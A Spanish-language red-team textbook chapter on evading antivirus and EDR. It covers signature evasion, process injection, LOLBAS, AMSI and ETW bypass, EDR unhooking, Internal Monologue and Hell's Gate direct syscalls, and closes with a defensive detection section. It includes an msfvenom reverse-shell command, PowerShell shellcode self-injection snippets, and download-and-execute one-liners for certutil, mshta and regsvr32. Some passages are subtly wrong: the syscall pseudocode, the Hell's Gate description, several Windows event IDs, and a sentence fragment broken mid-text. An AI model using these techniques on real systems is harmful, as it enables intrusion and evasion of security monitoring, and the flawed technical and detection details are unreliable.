Panorama#
El capítulo anterior trató la evasión del canal: hacer que la conversación del C2 se disuelva en el tráfico normal. Este trata el problema gemelo y complementario, la evasión del payload: que el código que corre en el host —el shellcode de 3.6, el stager de un Beacon de 3.10, la herramienta de post-explotación— no sea detectado en el disco ni en la memoria de la máquina. Son dos frentes distintos del mismo agente: un perfil Malleable impecable no sirve de nada si el antivirus reconoce el shellcode al ejecutarse, y el loader más sigiloso se quema si su beaconing es un latido metronómico. El guardián de este frente es el antivirus (AV) y su descendiente moderno, el EDR (Endpoint Detection and Response): el software que observa cada archivo, cada asignación de memoria y cada llamada a la API del sistema en busca de actividad maliciosa.
La tesis que ordena el capítulo es una escalera. La detección de un AV/EDR no es un muro único sino una serie de capas —firma, heurística, comportamiento, aprendizaje automático—, y cada técnica de evasión ataca una capa concreta. A medida que el defensor sube por esas capas, el atacante se ve empujado a moverse: del disco a la memoria, de las herramientas públicas al código propio, y de los procesos vigilados a los binarios de confianza del propio sistema. El patrón que recorre todo es que la evasión gana contra lo que el defensor firma, pero no contra lo que el payload hace: cada peldaño que sube el atacante para esconder su presencia estática deja, a cambio, una traza de comportamiento nueva —memoria ejecutable donde no debería haberla, un binario de confianza con una línea de comando insólita, un proceso que carga el motor de PowerShell sin ser PowerShell—. Esa es la grieta que la sección de detección explota.
flowchart TD
P["Payload / shellcode\n(3.6 · 3.10)"] --> D{"¿Qué capa de detección\nhay que vencer?"}
D -->|"firma / hash (disco)"| ON["Evasión on-disk\nobfuscación · crypter · recompilar"]
D -->|"file engine (disco)"| MEM["Evasión in-memory\ninjection · reflective DLL · hollowing"]
D -->|"vigilancia de proceso"| LOL["Vivir de lo confiable\nLOLBAS · PowerShell sin powershell.exe"]
D -->|"comportamiento / AMSI / EDR"| BLIND["Cegar al vigía\nAMSI/ETW bypass · unhooking · Internal Monologue"]
ON & MEM & LOL & BLIND --> R["→ ejecución sin alerta…\npero cada capa deja una traza nueva (detección)"]Cómo mira un AV/EDR#
No se puede evadir lo que no se entiende, y la estructura de la evasión es un reflejo exacto de la estructura de la detección. Un AV moderno se compone de varios motores que corren en kernel y en user-land: el file engine —el más maduro— escanea archivos al vuelo (on-access, vía un mini-filter driver) y en barridos programados; el memory engine busca firmas binarias y llamadas a la API sospechosas en la RAM; el network engine bloquea tráfico de C2 conocido; un disassembler traduce el binario a ensamblador para revertir packers y cifrados; un emulator/sandbox ejecuta la muestra aislada para observar qué hace; y un ML engine en la nube evalúa metadata para detectar amenazas desconocidas.
Sobre esos motores operan cuatro métodos de detección, y conviene verlos como una escalera de madurez porque la evasión los sube en el mismo orden:
- Firma. El hash del archivo o una secuencia concreta de bytes o strings. Es el método más rápido y el
más frágil: cambiar un solo bit cambia el hash entero. El módulo de OffSec lo demuestra byte a byte —basta
convertir una
cenCdentro de una cadena para que el SHA-256 sea otro—. Esa fragilidad es, literalmente, la primera puerta de la evasión. - Heurística. Patrones y secuencias de llamadas en el código desensamblado —no el hash exacto, sino «esto se parece a un dropper»—. Sobrevive a cambios de hash pero se puede confundir mutando la estructura del código.
- Comportamiento. Ejecutar la muestra en el emulador y observar sus acciones: si asigna memoria ejecutable, inyecta en otro proceso o abre un socket, se marca. Es mucho más caro de evadir porque mira lo que el código hace, no cómo se ve.
- Aprendizaje automático (ML) y AMSI. El modelo en la nube evalúa metadata; AMSI (Antimalware Scan Interface) inspecciona scripts y contenido ya desofuscado en el momento de ejecutarse. Es la capa que la obfuscación superficial no toca.
Evasión on-disk: derrotar la firma#
El primer peldaño es modificar el archivo en el disco lo suficiente para que ninguna firma existente lo cubra. La familia clásica: packers (comprimen y ofuscan el ejecutable —UPX fue el arquetipo, hoy insuficiente por sí solo—), obfuscators (mutan el código o insertan dead code para romper la heurística), crypters (cifran el cuerpo del payload y dejan en disco solo un stub de descifrado que lo reconstruye en RAM), y protectors comerciales (Enigma y similares). Todos comparten la misma lógica: cambiar la representación estática sin cambiar la función.
A mano, dos técnicas baratas desarman muchas firmas. Cifrar los strings —un simple ROT sobre las cadenas,
descifradas en tiempo de ejecución— borra las constantes de texto que el AV firma. Y llamar a las funciones de
la API por puntero: en vez de importar SetWindowsHookEx de User32.dll —lo que la deja visible en la tabla de
imports del PE—, se resuelve en tiempo de ejecución con GetProcAddress, de modo que la biblioteca desaparece
de los imports y con ella la pista heurística. El ejemplo del keylogger de The Hacker Playbook 3 ilustra lo
frágil que es la detección estática: pasa de 11/66 a 10/66 con esas técnicas, y a 0/66 solo por recompilar a 64
bits, porque muchas firmas se escribieron contra la variante de 32 bits.
De ahí la regla de oro del capítulo ofensivo: si la herramienta es pública, el vendor ya la reverseó y la
firmó. La evasión robusta no ofusca la herramienta pública, sino que la recompila desde el fuente para
cambiar el patrón que el AV conoce. El caso extremo es recompilar Meterpreter: compilar metsrv con Clang (cambia
el patrón de código generado), borrar del binario los strings delatores (Mimikatz, ReflectiveLoader), meter
nop sleds aleatorios en el shellcode Ruby, y —el corazón— reemplazar el Stage0 de msfvenom (que inserta el
payload en plantillas de ejecutable predecibles y detectables) por un Stage0 propio: código position-
independent, sin imports, que usa wininet para el HTTPS y refleja metsrv.dll en memoria sin tocar
disco. Ese Stage0 casero evade Windows Defender, mientras el msfvenom crudo se detecta al instante.
Evasión in-memory: esquivar el disco entero#
El file engine es el motor más maduro del AV, y evadirlo modificando el archivo es una carrera perdida contra firmas que se actualizan a diario. El segundo peldaño elimina el problema de raíz: no escribir nunca a disco. Las técnicas in-memory alojan y ejecutan el payload directamente en la RAM de un proceso, reduciendo la superficie a lo que el memory engine —más caro y menos preciso— puede ver.
- Remote process injection. La secuencia canónica:
OpenProcesssobre una víctima legítima →VirtualAllocExpara reservar memoria en ella →WriteProcessMemorypara copiar el shellcode →CreateRemoteThreadpara ejecutarlo. El código malicioso corre dentro de un proceso de confianza. - Reflective DLL injection. Cargar una DLL desde la memoria sin pasar por
LoadLibrary—la DLL trae su propio loader—, de modo que nunca existe como archivo. Es la base delmetsrv.dllreflejado del Stage0 anterior. - Process hollowing. Arrancar un proceso legítimo en estado suspendido, vaciar su imagen y reemplazarla por el payload antes de reanudarlo: el task manager muestra un binario confiable que por dentro es otra cosa.
- Inline hooking. La técnica de los rootkits: interceptar llamadas reescribiendo el prólogo de funciones de la API. Es también, invertida, lo que hace el EDR —y de ahí nace el unhooking de más abajo—.
El patrón mínimo reproducible de todo esto es la thread injection en PowerShell, y encierra una lección
central. Un payload PE crudo de msfvenom se detecta al instante; el mismo shellcode dentro de un .ps1
que hace self-injection pasa con mucha más facilidad. El script importa VirtualAlloc/CreateThread/memset
con Add-Type, reserva memoria en el propio powershell.exe con el flag 0x40 (PAGE_EXECUTE_READWRITE), copia
el shellcode byte a byte y lo lanza en un thread. Y evade solo con renombrar las variables —$sc→$var1,
Win32→iWin32—, pasando de 28/59 en VirusTotal a limpio en Avira.
# Shellcode PS-compatible para la thread injection
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f powershell -v sc
# Núcleo del self-injection (Add-Type importa la Win32 API):
# $x = $w::VirtualAlloc(0,$size,0x3000,0x40) # 0x40 = PAGE_EXECUTE_READWRITE (RWX)
# memset byte a byte del shellcode en $x ; $w::CreateThread(0,0,$x,0,0,0)
# Shellter: inyecta en un PE benigno reutilizando la IAT existente (sin secciones nuevas)
shellter # modo Auto → PE legítimo poco escrutado → Stealth Mode → payload Meterpreter
Por qué funciona: un script no es un ejecutable. El AV firma un texto interpretado —variables, comentarios, lógica— y todo eso es cambiable sin recompilar. La automatización de esta idea es Shellter, que en lugar de crear secciones nuevas o cambiar permisos (lo que los AV cazan) analiza los execution paths de un PE legítimo y reutiliza las entradas de su IAT (Import Address Table) para alojar y ejecutar el payload, con un Stealth Mode que restaura el flujo original para que el instalador se vea normal. La lección de límite es explícita: contra firmas de string, la obfuscación superficial basta; contra ML y AMSI, no —y por eso el peldaño siguiente ya no oculta el payload, sino que ciega al vigía—.
Vivir de lo confiable: LOLBAS y «PowerShell sin powershell.exe»#
Cuando el entorno bloquea binarios custom —application whitelisting tipo AppLocker/WDAC en un DC endurecido— o cuando el EDR vigila específicamente ciertos procesos, el atacante deja de traer sus propios ejecutables y usa los binarios firmados que ya vienen con Windows. Es la familia LOLBAS (Living Off the Land Binaries And Scripts): la ejecución la realiza un binario de confianza del propio sistema, así que el whitelisting lo permite y el logging tradicional lo ignora.
- Application whitelisting bypass.
MSBuild.exe—el compilador de proyectos de .NET, firmado por Microsoft y permitido por defecto— compila y ejecuta un XML de proyecto malicioso (generado por GreatSCT) que levanta un Meterpreter, sorteando AppLocker porque MSBuild está en la allowlist. - One-liners de descarga y ejecución. Binarios firmados que bajan y corren la segunda etapa:
certutil -urlcache -split -f,mshta http://...,regsvr32 /i:http://...scrobj.dll,rundll32,InstallUtil. Todos con la firma de Microsoft, todos «vehículos» de ejecución sigilosa. - Code caves. Backdoor Factory inyecta shellcode en los bloques vacíos de un binario legítimo —
putty, un cliente thick interno— para un movimiento lateral más discreto que WMI/PSExec. El precio: cambia el hash del binario «conocido», lo que la validación de integridad delata.
El caso más significativo es «PowerShell sin powershell.exe». Cuando el AV monitorea el proceso
powershell.exe, se ejecuta el motor de PowerShell desde el runspace .NET cargando
System.Management.Automation.dll, sin lanzar nunca el binario vigilado: SharpPick/PowerPick, NoPowerShell,
o nps_payload invocado —otra vez— por MSBuild. El motor corre, ejecuta Mimikatz o el módulo que sea, pero el
proceso que el defensor observa jamás aparece. Combinado con la obfuscación de scripts —Invoke-Obfuscation
codifica el bloque con SecureString/AES, HideMyPS renombra funciones con ROT (Invoke-Mimikatz →
Vaibxr-Zvzvxngm)— se evade a la vez la detección de proceso y la de string. Un detalle operativo revelador:
el matching parcial de parámetros de PowerShell hace que -ExecutionPolicy Bypass, -Exec Bypass y -Ex Bypass
sean equivalentes, otra pequeña grieta contra las firmas rígidas.
Cegar al vigía: AMSI, ETW, unhooking e Internal Monologue#
El peldaño más alto ya no esconde el payload: desactiva o engaña a los mecanismos de observación del propio host. Es la frontera donde la evasión toca directamente las capas de comportamiento y memoria.
Bypass de AMSI. Como AMSI inspecciona el contenido desofuscado justo antes de ejecutarlo, es el obstáculo que
la obfuscación no salva —de ahí que sea el blanco directo—. Las técnicas parchean en memoria la función
AmsiScanBuffer dentro del propio proceso para que siempre devuelva «limpio», o corrompen el estado del contexto
de AMSI, neutralizando la inspección de scripts sin dejar de usar el motor.
Nulear el provider de ETW. El Script Block Logging de PowerShell (Event ID 4104) se alimenta de un
provider de ETW (Event Tracing for Windows). Desde el propio runspace se puede poner ese provider a
null por reflexión —tocando System.Management.Automation.Tracing.PSEtwLogProvider—, con lo que el registro de
bloques de script deja de emitirse. Es la evasión de la telemetría en su forma más directa: apagar la cámara.
Unhooking de EDR. Los EDR modernos insertan hooks en user-land —el inline hooking de antes, pero al
servicio de la defensa— sobre funciones de ntdll.dll para interceptar las llamadas al sistema antes de que
lleguen al kernel. El unhooking restaura la copia limpia de ntdll desde el disco (o llama directamente a
los syscalls sin pasar por la versión enganchada), devolviendo a las funciones su prólogo original y cegando la
introspección del EDR.
Internal Monologue. El ejemplo más elegante de esta categoría, porque evita la acción que el defensor
vigila en lugar de deshabilitar el sensor. Cuando Credential Guard protege LSASS (Windows 10 Enterprise /
Server 2016+), el volcado de credenciales de 4.5 falla —Mimikatz no puede leer la
memoria de LSASS—. El ataque de Elad Shamir baja temporalmente los controles de NetNTLMv1 (LMCompatibilityLevel,
NTLMMinClientSec, RestrictSendingNTLMTraffic), impersona los tokens de logon de procesos activos, e
interactúa con el proveedor NTLM (NTLM SSP) localmente para elicitar una respuesta NetNTLMv1 a un desafío
elegido —crackeable offline—, y después restaura los valores. Obtiene material de credenciales sin tocar
LSASS, evadiendo la única cosa que el defensor estaba mirando. La misma filosofía anima a psgetsystem, que
escala de administrador local a SYSTEM sin el getsystem firmado de Metasploit, creando un proceso cuyo parent
PID pertenece a un proceso de SYSTEM y heredando su token —un rodeo que conecta con la escalada por token de
3.9—.
ntdll en memoria o el
downgrade de LMCompatibilityLevel son, ellas mismas, señales de alarma de alta fidelidad.Bajo el capó: syscalls directos, Hell’s Gate y la línea del kernel#
La sección anterior nombró los movimientos —parchear AMSI, nulear ETW, unhookear el EDR— pero el porqué de que funcionen, y sobre todo dónde dejan de funcionar, vive una capa más abajo: en la arquitectura exacta de cómo un EDR obtiene su telemetría. Un EDR moderno bebe de tres fuentes apiladas —user-land, llamadas a la API de Windows, y el kernel—, y cada técnica de evasión ataca una; la clave que ordena todo es que la cima de la pila está en el kernel, fuera del alcance de cualquier modificación de user-land. Ese hecho es a la vez la razón por la que la evasión de user-land funciona y la razón por la que tiene techo.
La línea del hook: ntdll y los syscalls#
Toda llamada Win32 —VirtualAllocEx, WriteProcessMemory, NtReadVirtualMemory— desciende hasta un stub
minúsculo en ntdll.dll cuya única función es preparar los argumentos y cargar el número de syscall (SSN,
System Service Number) en el registro EAX (o R10D en x64), para luego ejecutar la instrucción syscall,
que transiciona la CPU del anillo 3 (user mode) al anillo 0 (kernel mode) (Yosifovich et al., 2018). Ese stub,
típicamente de 3–5 bytes en x86 moderno, es el cuello de botella de la inspección.
Un EDR moderno engancha estos stubs sobrescribiendo sus primeros bytes con un jmp a un trampoline del EDR,
interceptando la llamada antes de que el syscall se ejecute (Yosifovich et al., 2018). El flujo de un hook
inline típico es:
ntdll!NtOpenProcessapunta a:mov eax, 0x26(SSN deNtOpenProcessen Windows 10) +syscall- EDR sobrescribe:
jmp <EDR trampoline en user-land (DLL del EDR inyectada en el proceso)> - El trampoline inspecciona argumentos, valida, y —si pasa— ejecuta el
syscalloriginal.
Dos consecuencias operativas se siguen:
- El unhooking en user-land funciona porque el hook vive solo en la memoria de user-land de ese proceso: se
restauran los bytes originales del stub desde una copia limpia de
ntdll(del disco, del procesocsrss, o de\KnownDlls), y se vuelve al stub original sin que el kernel lo sepa. - Pero tiene techo: si el EDR vigila cambios en memoria de
ntdllo mantiene un callback kernel-mode (PsSetCreateProcessNotifyRoutine), el unhooking en sí es detectable.
Hell’s Gate: invocando syscalls sin pasar por ntdll#
Si el hook vive en ntdll, la respuesta es no pasar jamás por ntdll: copiar la lógica del stub —cargar el SSN
y ejecutar syscall— en memoria propia. Esa es la idea central de Hell’s Gate, popularizada por am0nsec y
RtlMateusz en 2020 (am0nsec & RtlMateusz, 2020).
La dificultad principal: los SSNs cambian entre versiones de Windows. En Windows 10 build 1909, NtAllocateVirtualMemory
es SSN 0x18; en Windows 11 build 22000 puede ser 0x1A. No se pueden hardcodear. Hell’s Gate resuelve esto
descargando una copia limpia de ntdll.dll desde disco (C:\Windows\System32\ntdll.dll), parseando su tabla de
exportaciones, y extrayendo dinámicamente los SSNs de cada función objetivo.
El algoritmo, paso a paso (pseudocódigo):
// 1. Cargar ntdll desde disco (no mapeada en el proceso, evita hooks)
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
DWORD dwSize = GetFileSize(hFile, NULL);
PVOID pNtdll = malloc(dwSize);
ReadFile(hFile, pNtdll, dwSize, &dwSize, NULL);
CloseHandle(hFile);
// 2. Parsear cabecera PE y encontrar Export Table
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pNtdll;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdll + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir =
(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)pNtdll +
pNtHeaders->OptionalHeader.DataDirectories[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 3. Iterar funciones exportadas (Nt*, Zw*)
PDWORD pNameArray = (PDWORD)((DWORD_PTR)pNtdll + pExportDir->AddressOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
const char *pName = (const char *)((DWORD_PTR)pNtdll + pNameArray[i]);
// Buscar funciones que comienzan con "Nt" o "Zw"
if (strncmp(pName, "Nt", 2) == 0 || strncmp(pName, "Zw", 2) == 0) {
// 4. Encontrar la función en el binario
PVOID pFunc = /* resolver dirección desde tabla de exportaciones */;
// 5. Extraer SSN: en x64 el stub comienza con "mov r10, rcx" (4C 8B D1)
// seguido de "mov eax, SSN" (B8 XX XX XX XX) y "syscall" (0F 05)
if (*(BYTE*)pFunc == 0x4C && // mov r10, rcx
*(BYTE*)(pFunc + 1) == 0x8B &&
*(BYTE*)(pFunc + 2) == 0xD1 &&
*(BYTE*)(pFunc + 3) == 0xB8) { // mov eax, SSN
DWORD dwSSN = *(DWORD*)((DWORD_PTR)pFunc + 4); // SSN = 4 bytes
// Guardar en tabla: syscall_map[hash("NtOpenProcess")] = dwSSN
}
}
}
// 6. Usar: copiar stub ("mov eax, SSN + syscall") a region RWX de este proceso
// y ejecutar desde allí.
El resultado práctico: el ejecutable malicioso jamás toca ntdll enganchada del proceso, porque invoca syscalls
desde su propio trampolín (mov eax, 0x18 + syscall codeado en memoria propia). El EDR ve una instrucción
syscall ejecutarse desde una región que no es ntdll, lo que es anómalo pero no es trivial de detectar si se
ejecuta desde una región PAGE_EXECUTE_READWRITE privada del proceso.
Variantes: Halo’s Gate, Tartarus Gate y evolución#
Hell’s Gate original asume que la ntdll.dll en disco es limpia y confiable. Pero en entornos duros (con
File Integrity Monitoring o EDRs que también protegen el disco), incluso ntdll.dll en System32 puede estar
“envenenada” o ser inalcanzable. Las variantes posteriores refinan la técnica:
Halo’s Gate (Sektor7, circa 2020–2021): cuando la ntdll.dll en disco está hookeada o se sospecha
que está monitoreada, se recurre a la búsqueda de un vecino exportado. La idea es que en la tabla de exportaciones
de ntdll, las funciones están ordenadas cercanas unas de otras; si una función Nt* es inaccesible, se busca la
siguiente (Nt*+1 en secuencia) cuyo SSN se conoce, y se calcula el delta para derivar el SSN de la función
objetivo. Por ejemplo, si NtAllocateVirtualMemory no se puede parsear pero NtAllocateVirtualMemoryEx está
accesible y sabemos que su SSN es 0x72, podemos asumir que el anterior difiere por ±1 (en casos simples). El riesgo:
los SSNs no son exactamente secuenciales, así que el delta puede ser erróneo; Halo’s Gate añade validación
heurística para evitar SSNs imposibles.
Tartarus Gate (circa 2021–2022): cuando ni siquiera se confía en la ntdll.dll en disco (porque el Sistema de
Archivos está bajo monitorización), se extraen los SSNs desde la ntdll ya mapeada del proceso, pero desde una
región que el EDR no está hookeando. Algunos EDRs solo hookean funciones que saben que son “sensibles” (como
NtAllocateVirtualMemory); las funciones menos monitoreadas (ej., NtQueryVirtualMemory) quedan limpias. Tartarus
Gate lee el stub limpio, extrae el SSN, y lo usa para llamar a funciones que sí están hookeadas, sin haber tocado
jamás la copia en disco. El costo: requiere reconocimiento previo de qué funciones están hookeadas y cuáles no.
Variantes posteriores (Windows 11, CET/HWVCI): con la introducción de Control Flow Guard (CFG) y
Enforced Code Integrity (HVCI) en Windows 11, ejecutar código arbitrario desde regiones PAGE_EXECUTE_READWRITE
privadas se hace más difícil. Las nuevas técnicas evolucionan hacia:
- Reusar instrucciones
syscallya presentes en binarios legítimos (ROP gadgets). - Usar indirect syscalls a través de instancias de
syscallque no están en el punto de entrada dentdll(por ejemplo, dentro de funciones secundarias). - Combinar Hell’s Gate con syscall proxying: en lugar de ejecutar
syscalldirectamente, hacer uncalla una función dentdllque a su vez sea limpia (conseguida por el unhooking parcial selectivo).
Detección en user-land: el techo de la evasión#
Aunque el uso de syscalls directos evade los hooks de ntdll, deja trazas de comportamiento:
- Lectura de
ntdll.dlldesde disco:CreateFile+ReadFilesobreC:\Windows\System32\ntdll.dlles insólito fuera de actualizaciones del sistema o herramientas de diagnóstico. - Mapeo de memoria anómalo: crear regiones
PAGE_EXECUTE_READWRITEprivadas (no mapeadas desde DLLs legítimas) e incluir bytecode desyscalles característico de shellcode. Sysmon Event ID 1 (creación de procesos) y análisis de Virtual Address Descriptors (VAD) lo delatan. - Stack unwinding desde direcciones inexplicables: un
syscallejecutado desde una dirección que no esntdllpero está dentro del rango de memoria del proceso es altamente sospechoso, si se compara contra la llamada legítima que debería venir dentdll.
Esto es donde la evasión de user-land choca con los limites del kernel: el syscall en sí, una vez ejecutado, es visible al kernel y sus callbacks, y no hay nada que user-land pueda hacer para ocultar eso al kernel.
Defensa y detección#
La detección de Hell’s Gate y técnicas de syscalls directos requiere abandonar la paranoia de user-land y activar telemetría en kernel. Ningún parche de user-land puede verlo; es el territorio donde la defensa sube a kernel o acepta la derrota.
Señales kernel: ETW y callbacks de sistema#
Event Tracing for Windows (ETW) — Threat Intelligence. El proveedor Microsoft-Windows-Threat-Intelligence
emite eventos cuando se detectan patrones de evasión. Para syscalls directos:
- Event 1 — Kernel Audit Logging de syscalls anómalas: si el kernel observa un
syscalldesde una dirección que no esntdllmapeada legítimamente, lo registra. Esto requiere activar auditoría de llamadas al sistema en Política de Grupo (Audit: Audit the Use of Advanced User Rights, Event ID 4673) o usar ETW providers personalizados. - Event 4103 (Module Load): cargas de
ntdlldesde rutas inusuales o multiples instancias mapeadas se pueden registrar.
Kernel callbacks — PsSetCreateProcessNotifyRoutine y PsSetLoadImageNotifyRoutine. Un driver EDR instalado
se registra para recibir notificaciones:
PsSetCreateProcessNotifyRoutine: cada nuevo proceso dispara un callback. El EDR puede verificar la integridad dentdllen el nuevo proceso leyendo su imagen mapeada y comparándola contra una copia limpia. Si detecta que el código fue modificado (modificación post-hoc después del mapeo), es evidencia de unhooking o patching.PsSetLoadImageNotifyRoutine: cada vez que se mapea una DLL, se notifica al driver. Permite detectar carga dentdlldesde rutas inusuales (noSystem32).
Análisis de stack y región de memoria#
Stack Walking durante syscalls. Cuando un syscall se ejecuta desde user-land, el kernel puede inspeccionar el
stack para determinar quién lo invocó. Si el retorno apunta a una región que no es ntdll, es sospechoso:
- Región privada
PAGE_EXECUTE_READWRITE: shellcode codificado manualmente. - Región de una DLL legítima pero con stack frame anómalo (por ejemplo,
kernel32.dllinvocando un syscall sin pasar porntdll, lo que no debería suceder).
Herramientas como Volatility (análisis post-mortem) pueden reconstruir estos stacks desde un dump de memoria.
Memory Region Enumeration: el EDR enumera todas las regiones PAGE_EXECUTE_READWRITE o PAGE_EXECUTE_READCOPY
en cada proceso y busca bytecode conocido:
- Secuencias
mov eax, <imm32>(opcode 0xB8) seguidas desyscall(0x0F 0x05). - Patrones de nop sled (
0x90).
Monitorización en disco#
File Integrity Monitoring (FIM) en System32. Vigilancia de acceso a ntdll.dll, kernel32.dll y otras DLLs
del sistema detecta:
- Lecturas repetidas de
ntdll.dlldesde procesos no privilegiados (ej.,notepad.exeleyendontdllen disco es anómalo). - Escrituras en directorios del sistema (bloqueadas por permisos normalmente, pero un contexto de SYSTEM o admin malicioso podría intentarlo).
Hardening defensivo#
HVCI (Hypervisor-Enforced Code Integrity). En Windows 11 con HVCI habilitado, las páginas de memoria se
marcan como inmutables si vienen de binarios confiables (firmware verificado). Crear regiones PAGE_EXECUTE_READWRITE
arbitrarias se hace más costoso porque el hypervisor bloquea la ejecución desde esas regiones no verificadas.
Kernel-Mode Shadow Stacks (CET). La tecnología Control-Flow Enforcement Technology (CET) en procesadores Intel
modernos mantiene un shadow stack del lado del kernel que registra cada call/ret. Invocar un syscall desde una
dirección no esperada viola la correspondencia y dispara una excepción.
Audit Policy: Detailed Tracking. Activar en Política de Grupo:
Audit: Audit the Use of Backup and Restore Privilege— Event ID 4673 para syscalls sensibles.Audit Process Creation(Event ID 4688) con líneas de comando completas: captura procesos que abrenntdll.dllen disco.Audit Security System Extension(Event ID 4611): registro de drivers cargados (útil para verificar que el EDR está activo).
Respuesta y visibilidad correlacionada#
La detección de syscalls directos no es una firma única, sino una correlación de anomalías:
- Lectura de
ntdll.dlldesde disco (Event 4663 o equivalente de FIM) + - Creación de regiones RWX privadas (Sysmon Event 1 con indicadores de inyección) +
- Syscall desde dirección anómala (ETW Threat Intelligence o kernel callback) +
- Ausencia de unhooking detectado (si el proceso tuviera que haber usado unhooking, ésta sería la alternativa más “silenciosa”)
Esta historia, correlacionada en el SIEM, tiende a ser de alta fidelidad.
Limitaciones detectivas#
No obstante, la defensa tiene límites reales:
- El kernel es confiable pero limitado: un kernel exploit (como CVE-2021-1732 — Win32k Elevation of Privilege en Windows 10 que permitía ejecutar código kernel arbitrario) puede comprometer la telemetría del kernel mismo.
- Callbacks kernel post-operación: aunque se registre el syscall, si el atacante es lo suficientemente rápido (ej., Process Ghosting — reemplazar la imagen del proceso antes de que el kernel emita un evento), la telemetría puede ser incompleta.
- Ruido falso-positivo: algunos procesos legítimos (debugging tools, profilers de rendimiento) leen
ntdll.dlldesde disco. El tuning defensivo requiere baselining de procesos confiables.
La conclusión operativa: Hell’s Gate evade la defensa de user-land casi completamente, pero es visible al kernel y a sus callbacks. La defensa robusta requiere:
- Habilitar telemetría kernel (ETW Threat Intelligence, callbacks kernel).
- Monitorear patrones característicos (lectura disco → RWX → syscall anómalo).
- Aceptar que la evasión de la evasión es una carrera: mejores técnicas de ofuscación vs. mejores técnicas de detección, con el kernel como árbitro final.
En términos de MITRE ATT&CK, esta sección cubre T1562.008 (Impair Defenses — Disable or Modify Tools) cuando se refiere al unhooking de EDR, y T1027 (Obfuscated Files or Information) cuando se refiere a la ofuscación de syscalls directos, aunque estas técnicas son más allá de las categorías tradicionales (viven en el espacio de implementación de APIs de bajo nivel).
Referencias#
red-infra/pen200/cap-06— Antivirus Evasion: la anatomía del AV (motores file/memory/network/ disassembler/emulator/ML) y los cuatro métodos de detección; evasión on-disk (packers/obfuscators/crypters/ protectors) vs in-memory (remote injection, reflective DLL, process hollowing, inline hooking); la thread injection en PowerShell como patrón mínimo y Shellter reutilizando la IAT.red-infra/hacker-playbook3/cap-07— The Quarterback Sneak: la escalera de obfuscación (ROT de strings, ocultar imports porGetProcAddress, 64 bits → 0/66), recompilar Meterpreter con Stage0 propio, SharpShooter anti-sandbox, el bypass de whitelisting con MSBuild/GreatSCT, los code caves de Backdoor Factory, y «PowerShell sinpowershell.exe» (SharpPick/NPS + Invoke-Obfuscation/HideMyPS).red-infra/hacker-playbook3/cap-08— Special Teams: el Internal Monologue (NetNTLMv1 sin tocar LSASS, evade Credential Guard),psgetsystem(SYSTEM por parent PID spoofeado), los one-liners LOLBAS (certutil/mshta/regsvr32/InstallUtil) y el nuleado del provider de ETW para apagar el logging de PowerShell.- MITRE ATT&CK — Defense Evasion (TA0005), T1055 Process Injection y la LOLBAS Project — inventario vivo de binarios de confianza abusables.
- Elad Shamir — Internal Monologue Attack y la documentación de Microsoft sobre AMSI y Credential Guard para el lado defensivo.